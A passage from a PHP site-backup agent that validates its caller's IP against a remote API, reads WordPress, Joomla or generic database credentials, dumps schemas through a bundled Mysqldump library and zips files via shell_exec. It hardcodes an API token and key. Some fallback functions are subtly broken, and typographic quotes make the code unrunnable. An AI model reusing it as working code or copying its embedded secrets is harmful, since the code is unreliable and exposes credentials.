assigned the rows_affected as output. # so, return that. otherwise, poke the object for it. if (!is_object($query)) return $query; else return $query->rowCount(); } function _escape_string( $string ) { return $this->link->escape_string( $string ); } function _fetch_row( $res ) { if (!is_object($res)) return null; return $res->fetch_row(); } function _fetch_assoc( $res ) { if (!is_object($res)) return null; return $res->fetch_assoc(); } function _fetch_array( $res ) { if (!is_object($res)) return null; return $res->fetch_array(); } function _num_rows( $res ) { if (!is_object($res)) return null; return $res->num_rows; } function _insert_id( $link = null ) { if (is_null($link)) $link = $this->link; if (!is_object($link)) return null; return $link->insert_id; } function _close() { if ( $this->result_set !== null ) { $this->result_set->close(); // does not return anything $this->result_set = null; } return true; } } /** * @todo */ class wPDO { var $link; function __construct() { die_enc_db(‘pdo_not_implemented’); } function wPDO() { $this->__construct(); } } class DB_Exception extends Exception { // Redefine the exception so message isn’t optional public function __construct($message, $code = 0, Exception $previous = null) { // some code // make sure everything is assigned properly if (version_compare(PHP_VERSION, ‘5.3.0’, ‘>=’)) { parent::__construct($message, $code, $previous); } else { parent::__construct($message, $code); // in PHP 5.2, Fatal Error on third param… } } // custom string representation of object public function __toString() { return __CLASS__ . “: [{$this->code}]: {$this->message}\n”; } } # Database – END # Utilities – START if ( version_compare( PHP_VERSION, ‘5.1.0’, ‘>=’ ) ) { date_default_timezone_set(‘America/New_York’); } define(‘DEBUG’, false); define(‘COMPACT_XFER_FMT’, true); define(‘VERSION’, ‘0.5.0’); define(‘RELEASE’, false); error_reporting(E_ERROR | E_PARSE); ini_set(‘display_errors’, false); ini_set(‘html_errors’, false); if (!function_exists(‘json_encode’)) { function json_encode($object) { return _json_encode_internal($object); } } header(‘Content-Type: text/plain’); $_SITEID = ‘36148493’; $_TOKEN = ‘f7d6c2124caff31a2809b69647517a6c’; $_UNIQUE = ‘df1bf5b30058f3a146a74d12c4cd022b’; // New params used to support Generic DB $_PLATFORM = ‘other’; $_FEATURECODE = ‘backup_db’; $db_structure_descriptor_file = ‘db-structure-descriptor.json’; $descriptor_ext = ‘-descriptor’; $backup_file_name = ‘database_backup.sql’; $_UPDATE_ID = isset( $_GET[ ‘update_id’ ] ) ? $_GET[ ‘update_id’ ] : null; /** ******************************************************************************************** * First thing: always need to check if we can continue with the script by validating the IP. * * ****************************************************************************************** **/ {{ $IPs = get_ip(); add_to_log( __FILE__, ‘IP Check started in’); add_to_log( date( DATE_ATOM, time()), ‘IP Check started at’); add_to_log( $IPs, ‘The following IPs will be tested’); $ip_validated = false; foreach( $IPs AS $IP ) { $payload = array( ‘site_id’ => $_SITEID, ‘ip’ => $IP ); $raw_response = mapi_post( $_TOKEN, ‘validate_ip’, $payload ); // check for curl errors before anything else. // curl not available at all? Too bad… if ( $CURL_INIT_ERR !== false ) { add_to_log( $CURL_INIT_ERR, ‘CURL INIT Error in check IP’ ); break; } // if it errored out, the HTTP connection failed and we cannot proceed if ( $CURL_MAPI_ERR !== false ) { add_to_log( $CURL_MAPI_ERR, ‘CURL MAPI Error in check IP’ ); break; } $ip_check_response = json_decode( $raw_response, true ); // Only continue if IP is validated, and stop otherwise. if ( !isset( $ip_check_response[‘responses’][0][‘data’][‘valid’] ) || $ip_check_response[‘responses’][0][‘data’][‘valid’] != 1 ) { // nothing here – will retry the next IP, if exists } // Only need one successful IP validation to continue, otherwise – try other IPs else { $ip_validated = true; break; } } // If IP did not validate and no other CURL errors reported if ( !$ip_validated && !( $CURL_INIT_ERR || $CURL_MAPI_ERR ) ) { $error = array( “allowed_ip” => 0, ); add_to_log($error, ‘error in check_ip()’); // output the log echo_enc(); echo json_encode( $error ); exit; } }} /** * Reusable function to init path to where to bullet will go */ function get_bullet_location() { // [27761] From now on, change in bullet placement: it will go into ./tmp instead of just . // Therefore, we’ll default to jumping up one level. $extradir = ‘..’ . DIRECTORY_SEPARATOR; $localdir = dirname(__FILE__) . DIRECTORY_SEPARATOR; // put them together into a real path and avoid dozen repeated concatenations $localdir = realpath( $localdir . $extradir ) . DIRECTORY_SEPARATOR; return $localdir; } /** * Function to take care of deciding where to get the DB creds from, based on the platform param */ function init_DB_creds_based_on_platform() { global $_PLATFORM; // Get DB creds switch( $_PLATFORM ) { case ‘wordpress’: import_WP_creds(); break; case ‘joomla’: import_Joomla_creds(); break; case ‘other’: default: import_Generic_creds(); break; } } /** * Function will submit site and feature to s3 init and attempt to get the single use id */ function handle_s3_init( $die_when_complete = false ) { global $_TOKEN, $_SITEID, $_FEATURECODE, $_CLIENTID, $_ENCRYPT_USE_CIPHER, $_ENCRYPT_USE_CIPHER_KEY, $_ENCRYPT_USE_CIPHER_IV; $params = array( ‘site_id’ => $_SITEID, ‘feature_code’ => $_FEATURECODE, ); $_CLIENTID and $params[ ‘client_id’ ] = $_CLIENTID; if( CRYPTOR === OPENSSL ) { $params[ ‘ciphers’ ] = openssl_get_cipher_methods(true); } else { $params[ ‘ciphers’ ] = mcrypt_list_algorithms(); } $init = mapi_post( $_TOKEN, ‘s3_init’, $params, LOG_MAPI_REQUEST ); $single_id = null; $error = false; do { if ( !$init ) { $error = ‘no-response-s3_init’; break; } $iobj = @json_decode($init); if ( !$iobj ) { $error = ‘failed-json_decode-s3_init’; break; } if ( $iobj->status != ‘ok’ || $iobj->forceLogout ) { $error = “failed-s3_init:status={$iobj->status},forceLogout=”.($iobj->forceLogout?1:0); break; } if ( $iobj->newToken && $iobj->newToken != $_TOKEN ) { $_TOKEN = $iobj->newToken; add_to_log($_TOKEN, ‘updated $_TOKEN in s3_init’); } if ( !$iobj->responses || !is_array($iobj->responses) || !count($iobj->responses) ) break; $response = $iobj->responses[0]->data; $single_id = $response->queue_id; if ( $response->cipher != $_ENCRYPT_USE_CIPHER ) { $_ENCRYPT_USE_CIPHER = $response->cipher; add_to_log($_ENCRYPT_USE_CIPHER, ‘updated Cipher in s3_init’); } // s3_init returns Key value base64-encoded $key = base64_decode( $response->cipher_key ); if ( $key != $_ENCRYPT_USE_CIPHER_KEY ) { $_ENCRYPT_USE_CIPHER_KEY = $key; add_to_log( obfuscate( $response->cipher_key ), ‘updated Cipher Key in s3_init’); } // s3_init returns IV value url-encoded $iv = urldecode( $response->cipher_iv ); if ( $iv != $_ENCRYPT_USE_CIPHER_IV ) { $_ENCRYPT_USE_CIPHER_IV = $iv; add_to_log( obfuscate( $response->cipher_iv ), ‘updated Cipher IV in s3_init’); } } while (0); if ( $die_when_complete ) { $response = array( ‘response’ => ‘smart_single_download_id’, ‘smart_single_download_id’ => $single_id ); if ( $error ) { $response[ ‘error’ ] = $error; } echo_enc(); // output log die_enc_json( $response ); // This is the expected die() returning JSON response to API. No changes needed. } else { return $single_id; } } function lock_the_bullet() { $bytes = file_put_contents( get_bullet_lock_path(), time() ); add_to_log( $bytes, ‘lock_the_bullet: bytes written’); return $bytes; } function unlock_the_bullet() { $status = unlink( get_bullet_lock_path() ); add_to_log( $status ? ‘success’:’failure’, ‘unlock_the_bullet: status’); return $status; } function bullet_is_locked() { $MAX_LOCK_TIME_SECONDS = 60; $path = get_bullet_lock_path(); // no file – no lock if ( !file_exists( $path ) ) { add_to_log( ‘not locked (no lock file)’, ‘bullet_is_locked check:’); return false; } else { $lock_time = (int) file_get_contents( $path ); $current_time = time(); // automatically drop lock if more than $MAX_LOCK_TIME_SECONDS elapsed since it was locked // (in case script hungs up – we would like to have an option to restart) $is_still_locked = $current_time – $lock_time < $MAX_LOCK_TIME_SECONDS ? true : false; add_to_log( "current: {$current_time}, locked at: {$lock_time}, diff: ".($current_time - $lock_time).", still locked: ".($is_still_locked?'Yes':'No'), 'bullet_is_locked check time:'); return $is_still_locked; } } function get_bullet_lock_path() { $path = __FILE__ . '.lock'; add_to_log( $path, 'get_bullet_lock_path:'); return $path; } function process_backup_schemas( $_SCHEMAS, $exception_on_failure = false ) { $db = getDbObj( $exception_on_failure ); // Schemas not specified - get all available if ( $_SCHEMAS === true ) { $_SCHEMAS = array(); $result_set = $db->_query( “SHOW DATABASES” ); if ($db->_generic_error_check($result_set)) { add_to_log( $result_set, ‘show-databases-error’ ); update_scan_on_error( ‘BACKUP_DB_ERR_SCHEMAS’, array( ‘SHOW DATABASES’ => $result_set ) ); } while( $db_row = $db->_fetch_assoc( $result_set ) ) { if(!in_array( $db_row[‘Database’], [‘information_schema’,’performance_schema’, ‘mysql’ ] ) ) { $_SCHEMAS[] = $db_row[ ‘Database’ ]; } } $db->_close(); } // single schema or JSON of muptple schemas else if ( is_string( $_SCHEMAS ) ) { $test_json = json_decode( $_SCHEMAS, true ); // JSON decode with no errors if ( json_last_error() === JSON_ERROR_NONE ) { $_SCHEMAS = $test_json; } // must be a single schema name else { $_SCHEMAS = array( $_SCHEMAS ); } } else if ( is_array( $_SCHEMAS ) && count( $_SCHEMAS ) ) { // no changes needed here } // unexpect format else { add_to_log( $_SCHEMAS, ‘schemas-format-error’ ); update_scan_on_error( ‘BACKUP_DB_ERR_SCHEMAS’, array( ‘$_SCHEMAS’ => $_SCHEMAS ) ); } return $_SCHEMAS; } function cleanup_insufficient_priveleges( &$errors_array ) { foreach( $errors_array AS $index => $issue ) { // If error is about some SP created by another user – skip it? // App if ( stripos( $issue, ‘ privileges to SHOW CREATE ‘ ) !== false ) { add_to_log( ‘‘ . $issue . ‘‘, ‘Skipping DB object we have no access to.’ ); unset( $errors_array[ $index ] ); } } } function set_character_locale( $locale_value = “en_US.UTF-8″ ) { // test if we can set UTF-8 locale necessary for clean DB queries // Making it optional… Look at it this way: // – If intl extension is not enabled, content is likely in English, and it won’t matter if we couldnt’t setlocale. // – If intl extension is enabled, then setlocale will likely work. $locale_set = setlocale( LC_CTYPE, $locale_value ); add_to_log( $locale_set ? ‘Success’ : ‘Fail’ , ‘Attempted to setlocale() with UTF-8’ ); if ( $locale_set === false ) { // check if intl extension cannot be loaded – that would be a good reason $intl_loaded = extension_loaded( ‘intl’ ); add_to_log( $intl_loaded ? ‘Yes’ : ‘No, and nothing we can do (dl() is removed as of php 5.3). ¯\_(ツ)_/¯’ , ‘Is intl extension loaded?’ ); } return $locale_set; } function get_foreign_key_checks() { $db = getDbObj(); $result_set = $db->_query( ‘select @@foreign_key_checks’ ); $return = null; if ( ($result_set_row = $db->_fetch_assoc( $result_set )) !== false ) { if ( isset($result_set_row[ ‘@@foreign_key_checks’ ]) ) { $return = (int) $result_set_row[ ‘@@foreign_key_checks’ ]; } } add_to_log( $return, ‘get_foreign_key_checks’ ); $db->_close(); return $return; } function set_foreign_key_checks( $value ) { $db = getDbObj(); $result_set = $db->_query( ‘SET FOREIGN_KEY_CHECKS=’ . (int) $value ); add_to_log( json_encode($result_set), ‘set_foreign_key_checks to ‘ . $value ); $db->_close(); } // Original flow continues… $_buffer = ”; if (RELEASE) { $_SUPER =& $_POST; } else { $_SUPER =& $_REQUEST; } function getSuper( $key, $default = null ) { global $_SUPER; if (array_key_exists($key, $_SUPER)) { return $_SUPER[$key]; } return $default; } function echo_enc() { global $_buffer, $_LOG; if ( $_LOG != ” ) { send_email( $_LOG ); } $_buffer .= join(func_get_args()); } function die_enc($str = ”, $title = null) { global $_buffer, $_LOG, $_SAVE_LOG; $_SAVE_LOG = true; $_buffer .= $str; if ( $title !== null ) { add_to_log( $str, $title ); } if ( $_LOG != ” ) { send_email( $_LOG ); } output_clean(); exit; } function die_enc_json( $array = array() ) { // log the final data piece before script dies add_to_log( $array, ‘die_enc_json TERMINATION’ ); // save db scan log echo_enc(); // output transmission echo json_encode( $array ); exit; } /** * @todo: encryption here */ function output_clean() { global $_buffer; $to_output = $_buffer; // <--- right there, that's where we need some encryption echo $to_output; } function delete_all_directory_files( $fileloc, $ext = 'csv' ) { if ( is_array( $ext ) ) { $ext = implode( ',', $ext ); $extant = glob($fileloc . DIRECTORY_SEPARATOR . '*.{' . $ext . '}', GLOB_BRACE ); // Curly brace is a part of GLOB_BRACE syntax and has to be preserved as is. } else { $extant = glob($fileloc . DIRECTORY_SEPARATOR . "*.{$ext}" ); // Here, curly is just a wrapper for PHP varaible - no special glob meaning. } // count how many were deleted $count_found = count($extant); $count_deleted = 0; if ( $count_found > 0 ) { foreach ( $extant as $exf ) { if( @unlink($exf) ) { $count_deleted++; } } } return $count_found === $count_deleted; } function update_scan_on_error( $error_code, $error_message, $terminate = true ) { global $_TOKEN, $_SITEID, $_CLIENTID, $_UPDATE_ID, $_FEATURECODE, $_SAVE_LOG; if ( is_array( $error_message ) ) { $error_message = json_encode( $error_message ); } // prepare static params for s3 call and add dynamic ones later $s3_params = array( ‘site_id’ => $_SITEID, ‘client_id’ => $_CLIENTID, ‘update_id’ => $_UPDATE_ID, ‘feature_code’ => $_FEATURECODE, ‘status’ => ‘error’, ‘error_code’ => $error_code, ‘error_message’ => $error_message, ); $_SAVE_LOG = true; // log failed scans for debugging $mapi_response = mapi_post( $_TOKEN, ‘s3_update’, $s3_params ); if ( $terminate ) { die_enc(‘error’); // API will be updated and bullet will stop execution. This function is a handle for abnormal termination. } return $mapi_response; // in case we need to look into it } // These checks, if failed, will abnormally terminate our execution. // Normally we would call MAPI to update API with error, but if MAPI itself is unreachable, then, welp… log and die. function check_and_terminate_on_mapi_errors() { global $CURL_INIT_ERR, $CURL_MAPI_ERR; // Edge case – curl not available, so can’t even eval the IP if ( $CURL_INIT_ERR ) { add_to_log( $CURL_INIT_ERR, ‘cURL Init Failed’ ); $error = array( ‘CURL_INIT_ERR’ => 0 ); die_enc_json( $error ); } // This is in edge case in prod (Prod MAPI/API are down?) and common case in stage (new domain being tested not whitelisted) if ( $CURL_MAPI_ERR ) { add_to_log( $CURL_MAPI_ERR, ‘cURL MAPI Failed’ ); $error = array( ‘CURL_MAPI_ERR’ => 0 ); die_enc_json( $error ); } } /** * Reusable wrapper around list_tables call that does extra processing */ function process_list_tables() { global $_PLATFORM; // For WP and Joomla, since we know the prefix, limit tables we want to pull // For generic we’ll pull everything (legacy logic) $prefix = null; if ( in_array( $_PLATFORM, [‘wordpress’,’joomla’] ) && DB_PREFIX ) { $prefix = DB_PREFIX; } $db = getDbObj(); $tables = $db->list_tables($prefix); $t_out = array(); $t_out[‘prefix’] = DB_PREFIX; if ( is_array( $tables ) && count( $tables ) ) { foreach ( $tables as $table ) { $table_name = $table[‘info’][‘Name’]; // restore original WordPress logic – pull only 3 specific tables if ( $_PLATFORM == ‘wordpress’ && DB_PREFIX ) { $tables_to_return = array( DB_PREFIX.’users’, DB_PREFIX.’posts’, DB_PREFIX.’comments’ ); if ( !in_array( $table_name, $tables_to_return ) ) { continue; } } if (isset($table[‘info’][‘last_id’])){ $t_last_id = $table[‘info’][‘last_id’]; }else{ $t_last_id = 0; } // process columns and their types $cols = array(); foreach( $table[‘cols’] AS $key => $column ) { $cols[ $key ] = (string) $column[ ‘Type’ ]; } // put together fields we’re interested in $t_out[‘tables’][ $table_name ] = array( ‘rows’ => $table[‘info’][‘Rows’], ‘idcol’ => $table[‘idcol’], ‘last_id’ => $t_last_id, ‘avg_row_len’ => $table[‘info’][‘Avg_row_length’], ‘all_data_len’ => $table[‘info’][‘Data_length’], ‘engine’ => $table[‘info’][‘Engine’], ‘columns’ => $cols, ); } return $t_out; } else { return false; } } /** * Reduces chunk size for server with low memory */ function reduce_chunk_size_on_low_memory( $reduction_multipler = 10 ) { global $_CHUNK_SIZE; $original_size = (int) $_CHUNK_SIZE; // see if server memory limit is not too small for our schunk….. $memory_limit_str = ini_get(‘memory_limit’); add_to_log( $memory_limit_str, ‘Detected memory_limit’); if ( !empty($memory_limit_str) && preg_match( ‘/([\d]+)([MG])/’, $memory_limit_str, $matches ) ) { // …. downsize chunk size if memory is 32M or lower if( isset($matches[1]) && is_numeric($matches[1]) && (int)$matches[1] <= 32 && isset($matches[2]) && $matches[2] == 'M' ) { $_CHUNK_SIZE = (int) ($_CHUNK_SIZE / $reduction_multipler); } } add_to_log( $_CHUNK_SIZE . ( $original_size != $_CHUNK_SIZE ? " (reduced from {$original_size})" : "" ), "Chunk Size"); } function _decode_compact_data_format( $pairs ) { if (!is_array($pairs)) { if (!( is_string($pairs) && strpos($pairs, '=') != false )) { // 0 is also bad so skip that too return array(); } $pairs = array($pairs); } $trow = array(); if (count($pairs)) { foreach ($pairs as $upair) { list($uk, $uv) = explode('=', $upair, 2); if (strlen($uv)) { if (!($uv[0] == '@' && is_numeric(substr($uv, 1)))) { $uv = base64_decode($uv); } else { $uv = substr($uv, 1); } } $trow[$uk] = $uv; } } return $trow; } function _json_encode_internal($object) { switch (true) { case is_string($object): return '"' . str_replace('"', '\\"', $object) . '"'; case is_numeric($object): case is_float($object): case is_int($object): return $object; case is_bool($object): return $object ? 'true' : 'false'; case is_null($object): return 'null'; case is_array($object): $km = false; $keys = array(); $values = array(); for( $int = 0, reset($object); list($key, $value) = each($object); ++$int) { $keys[] = $k = _json_encode_internal((string)$key); if ( !( $k === $key || $key == $int ) ) $km = true; $values[] = _json_encode_internal($value); } if ( count($keys) != count($values) ) { update_scan_on_error( 'ENCODING_FAILED', 'error_bad_counts_json_int' ); } $kv = $values; if ( $km ) { for ($i = 0; $i < count($values) && $kv[$i] = "{$keys[$i]}:{$values[$i]}"; ++$i); } $d = $km ? 123 : 91; return chr($d) . join(',', $kv) . chr($d + 2); case is_object($object): return _json_encode_internal(get_object_vars($object)); default: update_scan_on_error( 'ENCODING_FAILED', 'error_bad_vtype_json_int' ); } } if ( !function_exists('file_get_contents') ) { function file_get_contents($filename) { if ( !file_exists($filename) ) { return null; } $fp = fopen('r', $filename); $contents =''; while ( !feof($fp) ) { if ( ($line = fread($fp, 8192)) !== false ) { $contents .= $line; } } fclose($fp); return $contents; } } if ( !function_exists('file_put_contents') ) { define('FILE_APPEND', 8); function file_put_contents($filename, $contents, $flags = 0) { $open = 'wb'; if ( $flags & FILE_APPEND ) { $open = 'ab'; } $fp = fopen($filename, $open); $written = fwrite($fp, $conents); fclose($fp); return $written; } } function myErrorHandler($errno, $errstr, $errfile, $errline, $errcontext='') { throw new ErrorException($errstr, 0, $errno, $errfile, $errline); } # Utilities - END # Zip - START function archive_files( $files, &$target, $root = null, $cap = 0 ) { add_to_log( 'start', 'archive_files' ); if ( !is_array($files)) { return false; } $root = $root ? $root : $_SERVER['DOCUMENT_ROOT']; $root = realpath($root) . '/'; // keep slash attached to the root path and not the file // add_to_log( $root, 'archive_files 1' ); foreach ( $files as &$file ) { $file = realpath($file); } if (!( $target_dir = realpath(dirname($target)) )) { return false; } $target = $target_dir . DIRECTORY_SEPARATOR . basename($target); // add_to_log( $target, 'archive_files 2' ); DEBUG && var_dump(file_exists($target), is_dir($target), $target_dir, $target); if ( strcasecmp(substr($target, -4), '.zip') ) { if ( !is_dir($target) ) { if ( !@mkdir($target, 0700, true) ) { add_to_log( 'mkdir failed!', 'archive_files 2x' ); return false; } } $nt = $target . DIRECTORY_SEPARATOR . str_replace(array('.',' '), '', microtime()) . '.zip'; } elseif ( file_exists($target) ) { if ( !is_dir($target) && !unlink($target) ) { $nt = $target . '_' . str_replace(array('.',' '), '', microtime()) . '.zip'; } else { $nt = $target . DIRECTORY_SEPARATOR . str_replace(array('.',' '), '', microtime()) . '.zip'; } } // add_to_log( $nt, 'archive_files 3' ); if ( isset($nt) && !empty($nt) ) { // add_to_log( file_exists($nt), 'archive_files 3g' ); if ( file_exists($nt) ) { if ($cap > 20 ) { // I mean, what are the odds? It’s microtime()! return false; } return archive_files($files, $target, $root, $cap + 1); } $target = $nt; } // add_to_log( ‘I made it here try #’. $cap, ‘archive_files 4’ ); // if (class_exists(‘ZipArchive’, false)) { // add_to_log( ‘Send to ZA’, ‘archive_files 5’ ); // return archive_files_ZA( $files, $target, $root ); // } add_to_log( ‘Send to CLI’. $cap, ‘archive_files 5’ ); $result = archive_files_CLI( $files, $target, $root ); return $result; } function archive_files_ZA( $files, $target, $root ) { add_to_log( ‘good luck!’, ‘Attempting to use ZipArchive.’ ); $zip = new ZipArchive; $result = $zip->open($target, ZipArchive::CREATE); $add_file_status = array(); foreach ( $files as $file ) { $file_name = str_replace($root, ”, $file); $add_file_status[] = $zip->addFile( $file_name ); } $close_archive_status = $zip->close(); // Once done, remove original files as ZipArchive will not remove them after adding if ( $close_archive_status && !in_array( false, $add_file_status ) ) { foreach ( $files as $file ) { unlink( $file ); } } return true; # return $zip->numFiles > 0; } function archive_files_CLI( $files, $target, $root ) { set_error_handler( “myErrorHandler” ); // Fail Windows right here, but certain paths like /usr/bin/zip might be blocked so let that happen further down, within the try-catch if ( strtoupper(substr(PHP_OS, 0, 3)) == ‘WIN’ ) { return false; } $here = getcwd(); chdir($root); $zip_path = ‘/usr/bin/zip’; try { // Try using shell exec first file_exists( $zip_path ); // failing this will throw an exception before the actual sehll command is_executable( $zip_path ); $files_count = count( $files ); $files_running_total = 0; $files_group = array(); $files_group_count = 10; foreach ( $files as $file ) { $files_running_total++; // Try to group multiple files into single zip command for faster processing $files_group[] = $file; if ( count( $files_group ) >= $files_group_count || $files_running_total == $files_count ) { $files_group_str = ”; foreach( $files_group AS $file_in_group ) { $files_group_str .= ‘ ‘ . escapeshellarg($file_in_group); } $cmd = sprintf(“{$zip_path} -jqm1 %s %s”, escapeshellarg($target), $files_group_str); if ( function_exists(‘shell_exec’) ) { shell_exec( $cmd ); } else { throw new ErrorException( ‘shell_exec_not_available’ ); } // reset temp array after we zip each batch $files_group = array(); } } } catch (ErrorException $e) { // if shell exec is not supported we need to use ZipArchive instead add_to_log( $e->getMessage(), “Failed shell_exec for {$zip_path}.” ); archive_files_ZA( $files, $target, $root ); } restore_error_handler(); chdir($here); return true; } # Zip – END # Ifsnop\Mysqldump – START /** * PHP version of mysqldump cli that comes with MySQL. * * Tags: mysql mysqldump pdo php7 php5 database php sql hhvm mariadb mysql-backup. * * @category Library * @package Ifsnop\Mysqldump * @author Diego Torres * @license http://www.gnu.org/copyleft/gpl.html GNU General Public License * @link https://github.com/ifsnop/mysqldump-php * */ # Namespace commented out. # Reason: “PHP Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script …” //namespace Ifsnop\Mysqldump; # Use statements commented out. # Reason: “PHP Warning: The use statement with non-compound name ‘Exception’ has no effect …” //use Exception; //use PDO; //use PDOException; /** * Class Mysqldump. * * @category Library * @author Diego Torres * @license http://www.gnu.org/copyleft/gpl.html GNU General Public License * @link https://github.com/ifsnop/mysqldump-php * */ class Mysqldump { // Same as mysqldump (1000000 is the default used by mysqldump shell). const MAXLINESIZE = 1000000; // List of available compression methods as constants. const GZIP = ‘Gzip’; const BZIP2 = ‘Bzip2’; const NONE = ‘None’; const GZIPSTREAM = ‘Gzipstream’; // List of available connection strings. const UTF8 = ‘utf8’; const UTF8MB4 = ‘utf8mb4’; /** * Database username. * @var string */ public $user; /** * Database password. * @var string */ public $pass; /** * Connection string for PDO. * @var string */ public $dsn; /** * Destination filename, defaults to stdout. * @var string */ public $fileName = ‘php://stdout’; // Internal stuff. private $tables = array(); private $views = array(); private $triggers = array(); private $procedures = array(); private $functions = array(); private $events = array(); private $dbHandler = null; private $dbType = “”; private $compressManager; private $typeAdapter; private $dumpSettings = array(); private $pdoSettings = array(); private $version; private $tableColumnTypes = array(); private $transformColumnValueCallable; private $infoCallable; /** * Database name, parsed from dsn. * @var string */ private $dbName; /** * Host name, parsed from dsn. * @var string */ private $host; /** * Dsn string parsed as an array. * @var array */ private $dsnArray = array(); /** * Keyed on table name, with the value as the conditions. * e.g. – ‘users’ => ‘date_registered > NOW() – INTERVAL 6 MONTH’ * * @var array */ private $tableWheres = array(); private $tableLimits = array(); /** * Constructor of Mysqldump. Note that in the case of an SQLite database * connection, the filename must be in the $db parameter. * * @param string $dsn PDO DSN connection string * @param string $user SQL account username * @param string $pass SQL account password * @param array $dumpSettings SQL database settings * @param array $pdoSettings PDO configured attributes */ public function __construct( $dsn = ”, $user = ”, $pass = ”, $dumpSettings = array(), $pdoSettings = array() ) { $dumpSettingsDefault = array( ‘include-tables’ => array(), ‘exclude-tables’ => array(), ‘compress’ => Mysqldump::NONE, ‘init_commands’ => array(), ‘no-data’ => array(), ‘reset-auto-increment’ => false, ‘add-drop-database’ => false, ‘add-drop-table’ => false, ‘add-drop-trigger’ => true, ‘add-locks’ => true, ‘complete-insert’ => false, ‘databases’ => false, ‘default-character-set’ => Mysqldump::UTF8, ‘disable-keys’ => true, ‘extended-insert’ => true, ‘events’ => false, ‘hex-blob’ => true, /* faster than escaped content */ ‘insert-ignore’ => false, ‘net_buffer_length’ => self::MAXLINESIZE, ‘no-autocommit’ => true, ‘no-create-info’ => false, ‘lock-tables’ => true, ‘routines’ => false, ‘single-transaction’ => true, ‘skip-triggers’ => false, ‘skip-tz-utc’ => false, ‘skip-comments’ => false, ‘skip-dump-date’ => false, ‘skip-definer’ => false, ‘where’ => ”, /* deprecated */ ‘disable-foreign-keys-check’ => true, ‘skip-procs-perm-error’ => false ); $pdoSettingsDefault = array( PDO::ATTR_PERSISTENT => true, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, ); // There’s a PHP bug: the following param might not be available (and we can’t access php.ini from here to do anyting about it) // https://bugs.php.net/bug.php?id=47224 if ( property_exists( ‘PDO’, ‘MYSQL_ATTR_INIT_COMMAND’ ) ) { $pdoSettingsDefault[ PDO::MYSQL_ATTR_INIT_COMMAND ] = “SET NAMES utf8”; } $this->user = $user; $this->pass = $pass; $this->parseDsn($dsn); // This drops MYSQL dependency, only use the constant if it’s defined. if (“mysql” === $this->dbType) { $pdoSettingsDefault[PDO::MYSQL_ATTR_USE_BUFFERED_QUERY] = false; } $this->pdoSettings = self::array_replace_recursive($pdoSettingsDefault, $pdoSettings); $this->dumpSettings = self::array_replace_recursive($dumpSettingsDefault, $dumpSettings); $this->dumpSettings[‘init_commands’][] = “SET NAMES “.$this->dumpSettings[‘default-character-set’]; if (false === $this->dumpSettings[‘skip-tz-utc’]) { $this->dumpSettings[‘init_commands’][] = “SET TIME_ZONE=’+00:00′”; } $diff = array_diff(array_keys($this->dumpSettings), array_keys($dumpSettingsDefault)); if (count($diff) > 0) { throw new Exception(“Unexpected value in dumpSettings: (“.implode(“,”, $diff).”)”); } if (!is_array($this->dumpSettings[‘include-tables’]) || !is_array($this->dumpSettings[‘exclude-tables’])) { throw new Exception(“Include-tables and exclude-tables should be arrays”); } // Dump the same views as tables, mimic mysqldump behaviour $this->dumpSettings[‘include-views’] = $this->dumpSettings[‘include-tables’]; // Create a new compressManager to manage compressed output $this->compressManager = CompressManagerFactory::create($this->dumpSettings[‘compress’]); } /** * Destructor of Mysqldump. Unsets dbHandlers and database objects. */ public function __destruct() { $this->dbHandler = null; } /** * Custom array_replace_recursive to be used if PHP < 5.3 * Replaces elements from passed arrays into the first array recursively. * * @param array $array1 The array in which elements are replaced * @param array $array2 The array from which elements will be extracted * * @return array Returns an array, or NULL if an error occurs. */ public static function array_replace_recursive($array1, $array2) { if (function_exists('array_replace_recursive')) { return array_replace_recursive($array1, $array2); } foreach ($array2 as $key => $value) { if (is_array($value)) { $array1[$key] = self::array_replace_recursive($array1[$key], $value); } else { $array1[$key] = $value; } } return $array1; } /** * Keyed by table name, with the value as the conditions: * e.g. ‘users’ => ‘date_registered > NOW() – INTERVAL 6 MONTH AND deleted=0’ * * @param array $tableWheres */ public function setTableWheres(array $tableWheres) { $this->tableWheres = $tableWheres; } /** * @param $tableName * * @return boolean|mixed */ public function getTableWhere($tableName) { if (!empty($this->tableWheres[$tableName])) { return $this->tableWheres[$tableName]; } elseif ($this->dumpSettings[‘where’]) { return $this->dumpSettings[‘where’]; } return false; } /** * Keyed by table name, with the value as the numeric limit: * e.g. ‘users’ => 3000 * * @param array $tableLimits */ public function setTableLimits(array $tableLimits) { $this->tableLimits = $tableLimits; } /** * Returns the LIMIT for the table. Must be numeric to be returned. * @param $tableName * @return boolean */ public function getTableLimit($tableName) { if (empty($this->tableLimits[$tableName])) { return false; } $limit = $this->tableLimits[$tableName]; if (!is_numeric($limit)) { return false; } return $limit; } /** * Parse DSN string and extract dbname value * Several examples of a DSN string * mysql:host=localhost;dbname=testdb * mysql:host=localhost;port=3307;dbname=testdb * mysql:unix_socket=/tmp/mysql.sock;dbname=testdb * * @param string $dsn dsn string to parse * @return boolean */ private function parseDsn($dsn) { if (empty($dsn) || (false === ($pos = strpos($dsn, “:”)))) { throw new Exception(“Empty DSN string”); } $this->dsn = $dsn; $this->dbType = strtolower(substr($dsn, 0, $pos)); // always returns a string if (empty($this->dbType)) { throw new Exception(“Missing database type from DSN string”); } $dsn = substr($dsn, $pos + 1); /* foreach (explode(“;”, $dsn) as $kvp) { $kvpArr = explode(“=”, $kvp); $this->dsnArray[strtolower($kvpArr[0])] = $kvpArr[1]; }*/ preg_match_all( ‘/(host|unix_socket|dbname)=([^;]+);?/’, $dsn, $dsn_matches ); foreach ($dsn_matches[1] as $index => $key) { // [1] will contain keys $this->dsnArray[strtolower($key)] = $dsn_matches[2][$index]; // [2] will contain values } if (empty($this->dsnArray[‘host’]) && empty($this->dsnArray[‘unix_socket’])) { throw new Exception(“Missing host from DSN string”); } $this->host = (!empty($this->dsnArray[‘host’])) ? $this->dsnArray[‘host’] : $this->dsnArray[‘unix_socket’]; if (empty($this->dsnArray[‘dbname’])) { throw new Exception(“Missing database name from DSN string”); } $this->dbName = $this->dsnArray[‘dbname’]; return true; } /** * Connect with PDO. * * @return null */ private function connect() { // Connecting with PDO. try { switch ($this->dbType) { case ‘sqlite’: $this->dbHandler = @new PDO(“sqlite:”.$this->dbName, null, null, $this->pdoSettings); break; case ‘mysql’: case ‘pgsql’: case ‘dblib’: $this->dbHandler = @new PDO( $this->dsn, $this->user, $this->pass, $this->pdoSettings ); // Execute init commands once connected foreach ($this->dumpSettings[‘init_commands’] as $stmt) { $this->dbHandler->exec($stmt); } // Store server version 